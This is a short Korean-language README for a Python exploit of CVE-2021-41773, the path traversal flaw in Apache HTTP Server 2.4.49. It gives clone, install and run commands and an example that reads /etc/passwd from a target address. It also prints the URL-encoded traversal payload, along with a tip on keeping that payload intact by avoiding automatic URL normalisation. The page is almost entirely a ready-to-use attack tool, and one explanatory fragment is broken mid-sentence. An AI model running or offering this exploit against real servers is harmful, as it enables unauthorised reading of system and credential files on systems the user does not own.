
Python 익스플로잇 for CVE-2021-41773 - Apache HTTP Server 2.4.49 경로 탐색 취약점
CVE-2021-41773의 Python 익스플로잇으로, Apache HTTP Server 2.4.49에서 서버의 임의 파일을 읽을 수 있게 하는 경로 탐색 취약점입니다.
CVE-2021-41773은 Apache HTTP Server 2.4.49에서 사용자 제공 경로에 대한 부적절한 검증으로 인해 발생하는 경로 탐색 취약점입니다. 이 취약점을 통해 공격자는 URL 인코딩된 경로 탐색 시퀀스를 사용하여 문서 루트 외부의 파일을 읽을 수 있습니다.
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <target> -f <file_path>
-t, --target: 대상 URL (필요 시 프로토콜 및 포트 포함)-f, --file: 서버에서 읽을 파일 경로# /etc/passwd 읽기
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

이 익스플로잇은 URL 인코딩된 경로 탐색 시퀀스(.%2e/%2e%2e/)를 사용하여 Apache의 경로 유효성 검사를 우회합니다:
.%2e)이 초기 보안 검사를 우회합니다.핵심은 자동 URL 정규화가 익스플로잇을 망치는 것을 방지하기 위해 requests.get() 대신 urllib3.PoolManager()를 사용하는 것입니다.
# 익스플로잇 URL 구조:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}
이것은 다음과 같이 변환됩니다:
/cgi-bin/../../../../{target_file}